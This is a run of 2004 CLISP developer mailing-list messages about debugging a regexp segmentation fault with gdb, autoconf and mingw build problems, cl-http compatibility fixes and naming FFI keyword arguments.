>>>      [1]> (regexp:regexp-compile "(a|(bc)){0,0}?xyz" :extended t)
>>>
>>>      *** - handle_fault error2 ! address = 0x14 not in [0x20248000,0x203d5a30) !
>>>      SIGSEGV cannot be cured. Fault address = 0x14.
>>>      Segmentation fault
>>
>> [1]> (regexp:regexp-compile "(a|(bc)){0,0}?xyz" :extended t)
>>
>> *** - REGEXP:REGEXP-COMPILE ("(a|(bc)){0,0}?xyz"): "repetition-operator
>>       operand invalid"
>> The following restarts are available:
>> USE-VALUE      :R1      You may input a value to be used instead.
>> ABORT          :R2      ABORT
>>
>> Break 1 [2]>
>
> With the same CLISP version that I used?

this is CVS HEAD.

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Moin Guru's,

  I did a cvs update today (and a fresh checkout soon thereafter) - but
  I can not `make config.lisp` on my Debian/Woody box. I'm sure it worked
  some time ago, because I have a clisp 2.30.1 in /usr/local/ from last year.

/home/kraehe/lisp/clisp-bakunin/src/autoconf/aclocal.m4:633: error: Autoconf version 2.57 or higher is required
/home/kraehe/lisp/clisp-bakunin/src/autoconf/aclocal.m4:633: the top lev

  The same cvs checkout builds fine on my Debian/Sarge box, but my Sarge
  box is not yet ready for release, as Linux 2.6.6 crashes twice a week,
  if doing nothing. A real improvement over 2.6.1 which crashed twice a
  day, when performing filesystem operations like `find`, `rsync` or
  (directory P#"/**/.lisp")
  
  I read the note :

# This file should be simplified after Autoconf 2.57 is required.

  but Debian stable ships autoconf 2.53 - to remove autoconf and to replace
  it with a hand compiled binary might ruin the complete Debian development
  system. So clisp is broken on Debian stable, currently ;( would be nice,
  if AC_PREREQ(2.53) would be enough - even if the not looks, as if clisp
  is broken by purpose ;)

Bye Michael
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> * Michael Koehne <xenrur@pbclyrsg.qr> [2004-06-14 00:24:38 +0200]:
>
> /home/kraehe/lisp/clisp-bakunin/src/autoconf/aclocal.m4:633: error: Autoconf version 2.57 or higher is required
> /home/kraehe/lisp/clisp-bakunin/src/autoconf/aclocal.m4:633: the top lev

this is not enough information - what target is being made?
you do not need autoconf at all, just touch(1) the target.
e.g.,

$ touch ../src/VERSION

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On 08 Jun 2004, at 16.42, Sam Steingold wrote:

>> [2]> (regexp:match "." "aoeu")
>>
>> Program received signal EXC_BAD_ACCESS, Could not access memory.
>> 0x000035e0 in C_subr_regexp_regexp_exec () at regexi.c:103
>> 103       ret =
>> (regmatch_t*)alloca((re->re_nsub+1)*sizeof(regmatch_t));
>
> p re
> p re->re_nsub
>
> add a break in C_subr_regexp_regexp_compile() and make sure that "re"
> here points to the same location which was allocated by my_malloc() in
> C_subr_regexp_regexp_compile().
>
> what is "re->re_nsub" when we leave C_subr_regexp_regexp_compile?

(gdb) run
Starting program:  
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STACK depth: 16367
;; Loading file  
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demos.lisp ...
*** - FIND-SYMBOL: There is no package with name "XLIB"
The following restarts are available:
USE-VALUE      :R1      You may input a value to be used instead.

Break 1 [2]> :a

[1]> (regexp:match "." "aoeu")

Breakpoint 10, C_subr_regexp_regexp_compile () at regexi.c:24
24        object pattern = check_string(STACK_4);
(gdb) p re
$3 = (regex_t *) 0x87859393
(gdb) p re->re_nsub
Cannot access memory at address 0x878593ab

... (I did 'help breakpoints' here, &c., the 'continue'd.)

Program received signal EXC_BAD_ACCESS, Could not access memory.
0x000035e0 in C_subr_regexp_regexp_exec () at regexi.c:103
103       ret = (regmatch_t*)alloca((re->re_nsub+1)*sizeof(regmatch_t));
(gdb) p re
$4 = (regex_t *) 0x1100db0
(gdb) p re->re_nsub
$5 = 687865856
(gdb)

Is that what you wanted?

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> * Denis Bueno <qohrab@fgltvna.arg> [2004-06-14 09:51:09 -0400]:
>
> On 08 Jun 2004, at 16.42, Sam Steingold wrote:
>
>>> [2]> (regexp:match "." "aoeu")
>>>
>>> Program received signal EXC_BAD_ACCESS, Could not access memory.
>>> 0x000035e0 in C_subr_regexp_regexp_exec () at regexi.c:103
>>> 103       ret =
>>> (regmatch_t*)alloca((re->re_nsub+1)*sizeof(regmatch_t));
>>
>> p re
>> p re->re_nsub
>>
>> add a break in C_subr_regexp_regexp_compile() and make sure that "re"
>> here points to the same location which was allocated by my_malloc() in
>> C_subr_regexp_regexp_compile().
>>
>> what is "re->re_nsub" when we leave C_subr_regexp_regexp_compile?
>
> (gdb) run
> Starting program:
> /Users/Shared/Download/clisp-2.33.2/build-g/full/lisp.run -B . -M
> full/lispinit.mem -q -norc -i clx/new-clx/demos/clx-demos -p CLX-DEMOS
> STACK depth: 16367
> ;; Loading file
>    /Users/Shared/Download/clisp-2.33.2/build-g/clx/new-clx/demos/clx- 
> demos.lisp ...
> *** - FIND-SYMBOL: There is no package with name "XLIB"
> The following restarts are available:
> USE-VALUE      :R1      You may input a value to be used instead.
>
> Break 1 [2]> :a
>
> [1]> (regexp:match "." "aoeu")
>
> Breakpoint 10, C_subr_regexp_regexp_compile () at regexi.c:24
> 24        object pattern = check_string(STACK_4);
> (gdb) p re
> $3 = (regex_t *) 0x87859393
> (gdb) p re->re_nsub
> Cannot access memory at address 0x878593ab

of course: re is not initialized yes.
you have to step until _after_ regcomp().

> ... (I did 'help breakpoints' here, &c., the 'continue'd.)
>
> Program received signal EXC_BAD_ACCESS, Could not access memory.
> 0x000035e0 in C_subr_regexp_regexp_exec () at regexi.c:103
> 103       ret = (regmatch_t*)alloca((re->re_nsub+1)*sizeof(regmatch_t));
> (gdb) p re
> $4 = (regex_t *) 0x1100db0
> (gdb) p re->re_nsub
> $5 = 687865856
> (gdb)

good. also, please do

p re
p *re

after regcomp() in C_subr_regexp_regexp_compile() and
before alloca() in C_subr_regexp_regexp_exec()

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On 14 Jun 2004, at 10.20, Sam Steingold wrote:

>> (gdb) run
>> Starting program:
>> /Users/Shared/Download/clisp-2.33.2/build-g/full/lisp.run -B . -M
>> full/lispinit.mem -q -norc -i clx/new-clx/demos/clx-demos -p CLX-DEMOS
>> STACK depth: 16367
>> ;; Loading file
>>    /Users/Shared/Download/clisp-2.33.2/build-g/clx/new-clx/demos/clx-
>> demos.lisp ...
>> *** - FIND-SYMBOL: There is no package with name "XLIB"
>> The following restarts are available:
>> USE-VALUE      :R1      You may input a value to be used instead.
>>
>> Break 1 [2]> :a
>>
>> [1]> (regexp:match "." "aoeu")
>>
>> Breakpoint 10, C_subr_regexp_regexp_compile () at regexi.c:24
>> 24        object pattern = check_string(STACK_4);
>> (gdb) p re
>> $3 = (regex_t *) 0x87859393
>> (gdb) p re->re_nsub
>> Cannot access memory at address 0x878593ab
>
> of course: re is not initialized yes.
> you have to step until _after_ regcomp().
>
>> ... (I did 'help breakpoints' here, &c., the 'continue'd.)
>>
>> Program received signal EXC_BAD_ACCESS, Could not access memory.
>> 0x000035e0 in C_subr_regexp_regexp_exec () at regexi.c:103
>> 103       ret =  
>> (regmatch_t*)alloca((re->re_nsub+1)*sizeof(regmatch_t));
>> (gdb) p re
>> $4 = (regex_t *) 0x1100db0
>> (gdb) p re->re_nsub
>> $5 = 687865856
>> (gdb)
>
> good. also, please do
>
> p re
> p *re
>
> after regcomp() in C_subr_regexp_regexp_compile() and
> before alloca() in C_subr_regexp_regexp_exec()

(gdb) full
Function "my_type_error" not defined.
Function "closed_display_error" not defined.
(gdb) break C_subr_regexp_regexp_compile
Breakpoint 10 at 0x26ec: file regexi.c, line 24.
(gdb) break C_subr_regexp_regexp_exec
Breakpoint 11 at 0x2eb4: file regexi.c, line 71.
(gdb) break alloc
allocStatus             allocate_cons           allocate_lfloat          
allocate_syntax_table
alloc_segs              allocate_dfloat         allocate_pages           
allocate_vector
alloc_trampoline_r      allocate_ffloat         allocate_perchar_table   
allocate_weakkvt
allocaing               allocate_fpointer       allocate_s16string       
allocate_weakkvt_low
allocaing_room_pointer  allocate_iarray         allocate_s32string       
allocate_xrecord_
allocate_bignum         allocate_imm_s16string  allocate_s8string        
allocated.3
allocate_bit_vector     allocate_imm_s32string  allocate_srecord_        
alloced.0
allocate_bit_vector_0   allocate_imm_s8string   allocate_stream          
allocset
(gdb) break alloca
allocaing               allocate_ffloat         allocate_pages           
allocate_syntax_table
allocaing_room_pointer  allocate_fpointer       allocate_perchar_table   
allocate_vector
allocate_bignum         allocate_iarray         allocate_s16string       
allocate_weakkvt
allocate_bit_vector     allocate_imm_s16string  allocate_s32string       
allocate_weakkvt_low
allocate_bit_vector_0   allocate_imm_s32string  allocate_s8string        
allocate_xrecord_
allocate_cons           allocate_imm_s8string   allocate_srecord_        
allocated.3
allocate_dfloat         allocate_lfloat         allocate_stream
(gdb) break alloca
allocaing               allocate_ffloat         allocate_pages           
allocate_syntax_table
allocaing_room_pointer  allocate_fpointer       allocate_perchar_table   
allocate_vector
allocate_bignum         allocate_iarray         allocate_s16string       
allocate_weakkvt
allocate_bit_vector     allocate_imm_s16string  allocate_s32string       
allocate_weakkvt_low
allocate_bit_vector_0   allocate_imm_s32string  allocate_s8string        
allocate_xrecord_
allocate_cons           allocate_imm_s8string   allocate_srecord_        
allocated.3
allocate_dfloat         allocate_lfloat         allocate_stream
(gdb) break regcomp
Breakpoint 12 at 0x90030bd8
(gdb) run
Starting program:  
/Users/Shared/Download/clisp-2.33.2/build-g/full/lisp.run -B . -M  
full/lispinit.mem -q -norc -i clx/new-clx/demos/clx-demos -p CLX-DEMOS
Reading symbols for shared libraries +. done
STACK depth: 16367
;; Loading file  
/Users/Shared/Download/clisp-2.33.2/build-g/clx/new-clx/demos/clx- 
demos.lisp ...
*** - FIND-SYMBOL: There is no package with name "XLIB"
The following restarts are available:
USE-VALUE      :R1      You may input a value to be used instead.

Break 1 [2]> :a

[1]> (regexp:match "." "aoeu")

Breakpoint 10, C_subr_regexp_regexp_compile () at regexi.c:24
24        object pattern = check_string(STACK_4);
(gdb) p re
$1 = (regex_t *) 0x87859393
(gdb) p *reg
No symbol "reg" in current context.
(gdb) p *re
Cannot access memory at address 0x87859393
(gdb) continue
Continuing.

Breakpoint 12, 0x90030bd8 in regcomp ()
(gdb) p re
No symbol "re" in current context.
(gdb) continue
Continuing.

Breakpoint 11, C_subr_regexp_regexp_exec () at regexi.c:71
71        object string = (STACK_5 = check_string(STACK_5));
(gdb) kill
Kill the program being debugged? (y or n) y
(gdb) ful
Function "my_type_error" not defined.
Function "closed_display_error" not defined.
(gdb) full
Function "my_type_error" not defined.
Function "closed_display_error" not defined.
(gdb) run
Starting program:  
/Users/Shared/Download/clisp-2.33.2/build-g/full/lisp.run -B . -M  
full/lispinit.mem -q -norc -i clx/new-clx/demos/clx-demos -p CLX-DEMOS
STACK depth: 16367
;; Loading file  
/Users/Shared/Download/clisp-2.33.2/build-g/clx/new-clx/demos/clx- 
demos.lisp ...
*** - FIND-SYMBOL: There is no package with name "XLIB"
The following restarts are available:
USE-VALUE      :R1      You may input a value to be used instead.

Break 1 [2]> :a

[1]> (regexp:match "." "aoeu")

Breakpoint 10, C_subr_regexp_regexp_compile () at regexi.c:24
24        object pattern = check_string(STACK_4);
(gdb) p re
$1 = (regex_t *) 0x87859393
(gdb) continue
Continuing.

Breakpoint 12, 0x90030bd8 in regcomp ()
(gdb) p re
No symbol "re" in current context.
(gdb) step
Single stepping until exit from function regcomp,
which has no line number information.
C_subr_regexp_regexp_compile () at regexi.c:38
38        if (status) {
(gdb) p re
$2 = (regex_t *) 0x1100db0
(gdb) p *re
$3 = {
   buffer = 0xf265 "^",
   allocated = 0,
   used = 1835103331,
   syntax = 17829600,
   fastmap = 0x22202261 <Address 0x22202261 out of bounds>,
   translate = 0x6f657522 <Address 0x6f657522 out of bounds>,
   re_nsub = 687865856,
   can_be_null = 0,
   regs_allocated = 0,
   fastmap_accurate = 0,
   no_sub = 0,
   not_bol = 0,
   not_eol = 0,
   newline_anchor = 0
}
(gdb) continue
Continuing.

Breakpoint 11, C_subr_regexp_regexp_exec () at regexi.c:71
71        object string = (STACK_5 = check_string(STACK_5));
(gdb) p re
$4 = (regex_t *) 0x5f34
(gdb) p *re
$5 = {
   buffer = 0x7fe802a6 <Address 0x7fe802a6 out of bounds>,
   allocated = 2424176744,
   used = 2426273900,
   syntax = 2428371056,
   fastmap = 0x90de0074 <Address 0x90de0074 out of bounds>,
   translate = 0x801e0068 <Address 0x801e0068 out of bounds>,
   re_nsub = 796917760,
   can_be_null = 0,
   regs_allocated = 2,
   fastmap_accurate = 0,
   no_sub = 0,
   not_bol = 0,
   not_eol = 0,
   newline_anchor = 1
}
(gdb)

Are these breakpoints sufficient? I could not find the alloca()  
function ... am I missing something?

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> * Denis Bueno <qohrab@fgltvna.arg> [2004-06-14 14:07:10 -0400]:
>
> (gdb) break alloca

alloca is a GCC built-in, you cannot break in it.

> C_subr_regexp_regexp_compile () at regexi.c:38
> 38        if (status) {
> (gdb) p re
> $2 = (regex_t *) 0x1100db0
> (gdb) p *re
> $3 = {
>    buffer = 0xf265 "^",
>    allocated = 0,
>    used = 1835103331,
>    syntax = 17829600,
>    fastmap = 0x22202261 <Address 0x22202261 out of bounds>,
>    translate = 0x6f657522 <Address 0x6f657522 out of bounds>,
>    re_nsub = 687865856,
               ^^^^^^^^^
ouch!!!

>    can_be_null = 0,
>    regs_allocated = 0,
>    fastmap_accurate = 0,
>    no_sub = 0,
>    not_bol = 0,
>    not_eol = 0,
>    newline_anchor = 0
> }
> (gdb) continue
> Continuing.
>
> Breakpoint 11, C_subr_regexp_regexp_exec () at regexi.c:71
> 71        object string = (STACK_5 = check_string(STACK_5));

at this time re is not initialized yes.
you must step through until it it.
please do it and make sure that C_subr_regexp_regexp_exec gets the same
re as in C_subr_regexp_regexp_compile above.

please look at

       build/regexp/link.sh

and report the NEW_FILES= and NEW_LIBS= lines.
if they do not contain regex.o, this means that you are using the
OS-supplied regexp implementation.
Otherwise this is a platform-specific bug in gnu regexp...

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On 14 Jun 2004, at 15.34, Sam Steingold wrote:

>> * Denis Bueno <qohrab@fgltvna.arg> [2004-06-14 14:07:10 -0400]:
>>
>> (gdb) break alloca
>
> alloca is a GCC built-in, you cannot break in it.

Oh.

>> Breakpoint 11, C_subr_regexp_regexp_exec () at regexi.c:71
>> 71        object string = (STACK_5 = check_string(STACK_5));
>
> at this time re is not initialized yes.
> you must step through until it it.
> please do it and make sure that C_subr_regexp_regexp_exec gets the same
> re as in C_subr_regexp_regexp_compile above.

There are comments in /* ... */ blocks to the side. Just two of them.

[1]> (regexp:match "." "aoeu")

Breakpoint 11, C_subr_regexp_regexp_compile () at regexi.c:24
24        object pattern = check_string(STACK_4);
(gdb) step

...

(gdb) step
C_subr_regexp_regexp_compile () at regexi.c:25
25        int cflags = (missingp(STACK_0) ? 0 : REG_NOSUB) |
(gdb) step

...

(gdb) step
32        re = (regex_t*)my_malloc(sizeof(regex_t));
(gdb) p re
$1 = (regex_t *) 0x87859393
(gdb) p *re
Cannot access memory at address 0x87859393
(gdb) step
my_malloc (size=32) at spvw.d:615
615       var void* ptr = malloc(size);
(gdb) p re
No symbol "re" in current context.
(gdb) step
617       if (ptr)
(gdb) step
618         return ptr;
(gdb) step
621     }
(gdb) step
C_subr_regexp_regexp_compile () at regexi.c:37
37        });
(gdb) p re
$2 = (regex_t *) 0x1100db0                       /* VAL when init'd 
(Denis) */
(gdb) p *re
$3 = {
   buffer = 0x28726567 <Address 0x28726567 out of bounds>,
   allocated = 1702391866,
   used = 1835103331,
   syntax = 1746936366,
   fastmap = 0x22202261 <Address 0x22202261 out of bounds>,
   translate = 0x6f657522 <Address 0x6f657522 out of bounds>,
   re_nsub = 687865856,
   can_be_null = 0,
   regs_allocated = 0,
   fastmap_accurate = 0,
   no_sub = 0,
   not_bol = 0,
   not_eol = 0,
   newline_anchor = 0
}
(gdb) step

...

Breakpoint 12, 0x90030bd8 in regcomp ()
(gdb) continue
Continuing.

Breakpoint 10, C_subr_regexp_regexp_exec () at regexi.c:71
71        object string = (STACK_5 = check_string(STACK_5));
(gdb) step
check_string (obj={one_o = 445663237}) at error.d:937
937       while (!stringp(obj)) {

... (many steps)

(gdb) step
C_subr_regexp_regexp_exec () at regexi.c:86
86          re = (regex_t*)TheFpointer(STACK_1)->fp_pointer;
(gdb) step
87          if (re != NULL) break;
(gdb) p re
$6 = (regex_t *) 0x1100db0                   /* Appears to be the same 
as above (Denis) */
(gdb) p *re
$7 = {
   buffer = 0xf265 "^",
   allocated = 0,
   used = 1835103331,
   syntax = 17829728,
   fastmap = 0x22202261 <Address 0x22202261 out of bounds>,
   translate = 0x6f657522 <Address 0x6f657522 out of bounds>,
   re_nsub = 687865856,
   can_be_null = 0,
   regs_allocated = 0,
   fastmap_accurate = 0,
   no_sub = 0,
   not_bol = 0,
   not_eol = 0,
   newline_anchor = 0
}
(gdb)

> please look at
>
>        build/regexp/link.sh
>
> and report the NEW_FILES= and NEW_LIBS= lines.
> if they do not contain regex.o, this means that you are using the
> OS-supplied regexp implementation.

NEW_FILES="$file_list  regexp.dvi"
NEW_LIBS="$file_list "

> Otherwise this is a platform-specific bug in gnu regexp...

So since regex.o is not in the listing, it is not a platform-specific 
bug in GNU regexp?

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> * Denis Bueno <qohrab@fgltvna.arg> [2004-06-14 16:13:43 -0400]:
>
> (gdb) p re
> $2 = (regex_t *) 0x1100db0                       /* VAL when init'd
> (Denis) */
> (gdb) p *re
> $3 = {
>    buffer = 0x28726567 <Address 0x28726567 out of bounds>,
>    allocated = 1702391866,
>    used = 1835103331,
>    syntax = 1746936366,
>    fastmap = 0x22202261 <Address 0x22202261 out of bounds>,
>    translate = 0x6f657522 <Address 0x6f657522 out of bounds>,
>    re_nsub = 687865856,
>    can_be_null = 0,
>    regs_allocated = 0,
>    fastmap_accurate = 0,
>    no_sub = 0,
>    not_bol = 0,
>    not_eol = 0,
>    newline_anchor = 0
> }
> (gdb) p re
> $6 = (regex_t *) 0x1100db0                   /* Appears to be the same
> as above (Denis) */
> (gdb) p *re
> $7 = {
>    buffer = 0xf265 "^",
>    allocated = 0,
>    used = 1835103331,
>    syntax = 17829728,
>    fastmap = 0x22202261 <Address 0x22202261 out of bounds>,
>    translate = 0x6f657522 <Address 0x6f657522 out of bounds>,
>    re_nsub = 687865856,
>    can_be_null = 0,
>    regs_allocated = 0,
>    fastmap_accurate = 0,
>    no_sub = 0,
>    not_bol = 0,
>    not_eol = 0,
>    newline_anchor = 0
> }
> (gdb)

good, so we are using the same re object.

>> please look at
>>
>>        build/regexp/link.sh
>>
>> and report the NEW_FILES= and NEW_LIBS= lines.
>> if they do not contain regex.o, this means that you are using the
>> OS-supplied regexp implementation.
>
> NEW_FILES="$file_list  regexp.dvi"
> NEW_LIBS="$file_list "
>
>> Otherwise this is a platform-specific bug in gnu regexp...
>
> So since regex.o is not in the listing, it is not a platform-specific
> bug in GNU regexp?

no, you are not using the GNU regexp that comes with CLISP.

Now, there are 2 things to get done:

1. get you a working CLISP regexp.

2. get your OS vendor to fix the bug.


For 1, you need to get CLISP to use the GNU regexp implementation that
comes withe CLISP.  Unfortunately, there is no option to force that.
You need to go to your build directory and edit config.cache file.
Find there the line

ac_cv_func_regexec=${ac_cv_func_regexec=yes}

and replace "yes" with "no" in it.
then do "rm -rf regexp" and "make full".
regexp will be re-configured using the cache you just tweaked.
you should see something like

Checking for regexec... (cached) no

and the supplied regexp will be used.


For 2, you need to read your regexp man pages and write a test program
that crashes, and then report it to the party mentioned in the regexp
man pages.  The crash program will look like this:

#include <regex.h>
int main (int argc, char* argv[]) {
  char * pattern = argv[1];
  char * subject = argv[2];
  regex_t re;
  regmatch_t *rm;
  regcomp(&re,pattern,0);
  rm = (regmatch_t*)alloca((re->re_nsub+1)*sizeof(regmatch_t));
  regexec(re,subject,re->re_nsub+1,rm,0);
  return 0;
}

(you should embellish it with printf() calls to show progress)

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On 14 Jun 2004, at 16.44, Sam Steingold wrote:

> For 1, you need to get CLISP to use the GNU regexp implementation that
> comes withe CLISP.  Unfortunately, there is no option to force that.
> You need to go to your build directory and edit config.cache file.
> Find there the line
>
> ac_cv_func_regexec=${ac_cv_func_regexec=yes}
>
> and replace "yes" with "no" in it.
> then do "rm -rf regexp" and "make full".
> regexp will be re-configured using the cache you just tweaked.
> you should see something like
>
> Checking for regexec... (cached) no
>
> and the supplied regexp will be used.

Did that, saw the "Checking..." message, and verified that NEW_FILES 
and NEW_LIBS in build-g/regexp/link.sh include "regex.o". I ran

$ build-g/clisp -K full
...
[1]> (regexp:match "." "aoeu")

and it segfaulted again. However, running

$ cd build-g
$ gdb
(gdb) full
(gdb) run

... and then running the lisp code does _not_ segfault. It evaluates to 
the correct result.

So I ran

$ build-g/full/lisp.run -B . -M full/lispinit.mem

and ran the code, and it worked fine.

I don't know what's going on. Do you?

> For 2, you need to read your regexp man pages and write a test program
> that crashes, and then report it to the party mentioned in the regexp
> man pages.  The crash program will look like this:
>
> #include <regex.h>
> int main (int argc, char* argv[]) {
>   char * pattern = argv[1];
>   char * subject = argv[2];
>   regex_t re;
>   regmatch_t *rm;
>   regcomp(&re,pattern,0);
>   rm = (regmatch_t*)alloca((re->re_nsub+1)*sizeof(regmatch_t));
>   regexec(re,subject,re->re_nsub+1,rm,0);
>   return 0;
> }

Wrote this, compiled it,

gcc-3.3 -g -o regcrash regex-crash.c -lc

and ran it like so:

$ ./regcrash "." "aoeu"

and

$ ./regcrash . aoeu

just for kicks.

No crash (in particular, no segfault, rather).

> (you should embellish it with printf() calls to show progress)

#include <stdio.h>
#include <stdlib.h>
#include <regex.h>

int main (int argc, char* argv[]) {
     char * pattern = argv[1];
     char * subject = argv[2];
     regex_t re;
     regmatch_t *rm;

     printf("Pattern: %s\n", pattern);
     printf("Subject: %s\n", subject);

     regcomp(&re, pattern, 0);
     rm = (regmatch_t*) alloca((re.re_nsub+1) * sizeof(regmatch_t));
     regexec(&re, subject, re.re_nsub + 1, rm, 0);

     return 0;
}

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> * Denis Bueno <qohrab@fgltvna.arg> [2004-06-14 17:21:32 -0400]:
>
> and ran the code, and it worked fine.
> I don't know what's going on. Do you?

caching?  try "rm clisp; make clisp"

>> (you should embellish it with printf() calls to show progress)
>
> #include <stdio.h>
> #include <stdlib.h>
> #include <regex.h>
>
> int main (int argc, char* argv[]) {
>      char * pattern = argv[1];
>      char * subject = argv[2];
>      regex_t re;
>      regmatch_t *rm;
>
>      printf("Pattern: %s\n", pattern);
>      printf("Subject: %s\n", subject);
>
>      regcomp(&re, pattern, 0);
>      rm = (regmatch_t*) alloca((re.re_nsub+1) * sizeof(regmatch_t));
>      regexec(&re, subject, re.re_nsub + 1, rm, 0);
>
>      return 0;
> }

you should also print re.re_nsub and the matching substrings (see
C_subr_regexp_regexp_exec).

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I would like to work on multithreading in CLISP, specifically the POSIX 
API, because I would like to use the capability for a project I'm 
working on. I have read doc/multithreading.txt, and looked at 
src/xthread.d and src/zthread.d. How can I help?

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> * Denis Bueno <qohrab@fgltvna.arg> [2004-06-15 12:56:47 -0400]:
>
> I would like to work on multithreading in CLISP, specifically the
> POSIX API, because I would like to use the capability for a project
> I'm working on. I have read doc/multithreading.txt, and looked at
> src/xthread.d and src/zthread.d. How can I help?

1. subscribe to <clisp-devel>; I set Reply-to: there.

2. try configuring "./configure --with-threads=POSIX_THREADS"
   and fix the segfaults you will get on CALL-WITH-TIMEOUT.

3. I hope Bruno will offer more specific advice on implementing the
   missing functions in src/zthread.d

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>Yes, I understand, and all CLISP developers will greatly appreciate it
if you will help us nail this bug!
>...

I am working on this. Until now I was not able to produce a working
cygwin/mingw w32 clisp build to run gdb on it. This seems to be a very
very difficult thing. With 

CC=g++ ./configure --with-debug --with-mingw

I was able to create the executable. But it did not pass the test suite.
Isn't there any thorough guide on how to build clisp for windows with
mingw?

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> * Andreas Thiele <naqernf.guvryr@grpuabybtvrxbagbe.qr> [2004-06-18 20:45:19 +0200]:
>
>>Yes, I understand, and all CLISP developers will greatly appreciate it
> if you will help us nail this bug!
>>...
>
> I am working on this. Until now I was not able to produce a working
> cygwin/mingw w32 clisp build to run gdb on it. This seems to be a very
> very difficult thing. With
>
> CC=g++ ./configure --with-debug --with-mingw

you should also pass a directory argument

> I was able to create the executable. But it did not pass the test
> suite.

which tests fail?
can you give us a gdb backtrace? (I assume abort)

> Isn't there any thorough guide on how to build clisp for windows with
> mingw?

it amounts to
$ ./configure --without-cygwin --with-debug --build build-g
to configure and build in the "build-g" directory

you are welcome to write a better guide :-)

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>it amounts to
>$ ./configure --without-cygwin --with-debug --build build-g
>to configure and build in the "build-g" directory

I did the following

$ ./configure --without-cygwin --with-debug build-g-200

and followed the instruction at the end (-200 is an random label, no
meaning for me). Thus I typed

$ cd build-g-200
$ ./makemake --with-dynamic-ffi --verbose --win32gcc debug > Makefile
$ make config.lisp
$ make

Clisp was build but the process ends with:

g++ -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment
-Wpointer-arith -Wimp
licit -Wreturn-type  -Wno-sign-compare -falign-functions=4 -D_WIN32 -g
-DDEBUG_O
S_ERROR -DDEBUG_SPVW -DSAFETY=3 -DDEBUG_GCSAFETY -DNO_TYPECODES
-DCINTERFACE -DU
NICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I. -x none
-DUSE_CLISP_H
=0 -DCOMPILE_STANDALONE clisp-test.c -o clisp-test-lispbibl.exe
In file included from clisp-test.c:5:
lispbibl.d:7223: warning: volatile register variables don't work as you
might
   wish
clisp-test-clisp > clisp-test-clisp.out
clisp-test-lispbibl > clisp-test-lispbibl.out
cmp clisp-test-clisp.out clisp-test-lispbibl.out
clisp-test-clisp.out clisp-test-lispbibl.out differ: char 1641, line 93
make: *** [clisp.h] Error 1

Thiele@atp-ws-02 ~/clisp/build-g-200
$

I think clisp was built but did not pass a test. So what can be the
problem? My installation of cygwin? I can start this clisp even with
gdb. This clisp crashes at some other point when loading my sources. I
don't wonder because it seems to be no correct clisp.

I think my problem is setting up cygwin. In unix/INSTALL four libs are
mentioned.

   * GNU libsigsegv
   * GNU libiconv
   * GNU readline
   * GNU gettext

I only was able to build libsigsegv and could not built the other three.
This is what I mean when thinking about a guide. Which version of
Cygwin, which gcc version, how to install, how to check or verify
versions, how to built these libs etc..

Any hints?

Andreas





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I forgot to mention, I tried to built 2.33.1. Might this be the problem?



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> * Andreas Thiele <naqernf.guvryr@grpuabybtvrxbagbe.qr> [2004-06-20 23:23:29 +0200]:
>
> cmp clisp-test-clisp.out clisp-test-lispbibl.out
> clisp-test-clisp.out clisp-test-lispbibl.out differ: char 1641, line 93

> I think clisp was built but did not pass a test.

clisp was build, but reported that it cannot build modules in C++ mode.
unfortunately, this is to be expected.
I hope Bruno will fix this.

If you wish, please run the CLISP internal testsuite with "make check".

> So what can be the problem?

no problem whatsoever!

now, start CLISP under gdb (cd build-g-200, gdb, run) and start testing
your code.  if indeed, as we expect, this is a GC-safety bug, you will
get an abort which will pinpoint the first place where an invalid
object was used.

Specifically, there is a global integer variable alloccount and the
object structure contains an integer allocstamp slot. If these two
integers are not the same, the object is invalid.  By playing with gdb,
you should be able to figure out the precise spot where a GC increments
alloccount after the object has been retrieved from a GC-visible
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Hello,

I found two minor problems while trying to compile cl-http in clisp.

In the following macro :start is twice passed to position-if for end-tag.
Unfortunately I don't see at first glance which :start is correct.

(defmacro with-parsed-ncsa-line ((key line &key (line-offset 0) (line-end
nil line-end-supplied-p)
				      (url-var 'url-string) (raw-coordinates-var 'raw-coordinates))
                                   &body body)
    `(let* ((end-key ,(typecase key (string (length key))(t `(length ,key))))
            (line-len ,(if line-end-supplied-p line-end `(length ,line)))
            (start (string-search ,key ,line 0 end-key ,line-offset line-len))
            (end-tag (position-if #'white-space-char-p ,line :start (the
fixnum (+ start end-key)) :start start :end line-len))
;;; above this line
            (start-url (position-if-not #'white-space-char-p ,line :start
end-tag :end line-len))
            (end-url (position-if #'white-space-char-p ,line :start
start-url :end line-len))
            (,url-var (subseq ,line start-url end-url))
            (,raw-coordinates-var (subseq ,line end-url line-len)))
       (declare (fixnum line-len start end-tag start-url end-url end-key))
       ,@body))


Dump-one shouldn't pass ::estimated-length for clisp and allegro
#+(or MCL clisp allegro)
(defun dump-one (thing filename &optional estimated-length)
    (declare (ignore estimated-length))
    (with-open-file (str filename :direction :output :element-type
'(unsigned-byte 8)
		       :if-exists :supersede)
      (write-byte (obtain-version-number) str)
      (let ((*print-readably* t))			; so dump-other will signal errors
        (dump-thing thing str))
      (write-byte +end-tag+ str)))

There are some other places where #+clisp conditionals are needed.
As soon I have figured out whether they are needed are clisp behaviour is
incorrect I will post.

I am aware that clisp does not offer multitasking and cl-http will not be
two usefull without that, but my programms are
usually more correct w.r.t. ansi after being compiled with clisp

saludos

Karsten 



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Suppose a function FOO-BAR in module ZOT calls a function foo_bar() in
library zot.so.  Function foo_bar() expects a flags argument - an OR of
zero or more CPP constants ZOT_BAZONK, ZOT_FOO_SLONG, ZOT_FEP_BLICKET.
These flags are passed to ZOT:FOO-BAR as boolean keyword arguments.

The question is: how should these keyword arguments be named?

1.  :ZOT_BAZONK   :ZOT_FOO_SLONG   :ZOT_FEP_BLICKET
   most obvious, but not too lispy, and somewhat longish.

2.  :BAZONK   :FOO_SLONG   :FEP_BLICKET
   shorter, but not too lispy either

3.  :BAZONK   :FOO-SLONG   :FEP-BLICKET
   looks best and the most lispy

opinions?


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Sam wrote:
> The question is: how should these keyword arguments be named?
>
> 1.  :ZOT_BAZONK   :ZOT_FOO_SLONG   :ZOT_FEP_BLICKET
>    most obvious, but not too lispy, and somewhat longish.
>
> 2.  :BAZONK   :FOO_SLONG   :FEP_BLICKET
>    shorter, but not too lispy either
>
> 3.  :BAZONK   :FOO-SLONG   :FEP-BLICKET
>    looks best and the most lispy
>
> opinions?

I would vote for 3, if the symbols have no property specific to ZOT. If
there is such a property, for example you want to have the symbol-value
reflect the numerical value of the CPP constant or if they are part of a
FFI:DEF-C-ENUM, then they cannot be keywords:

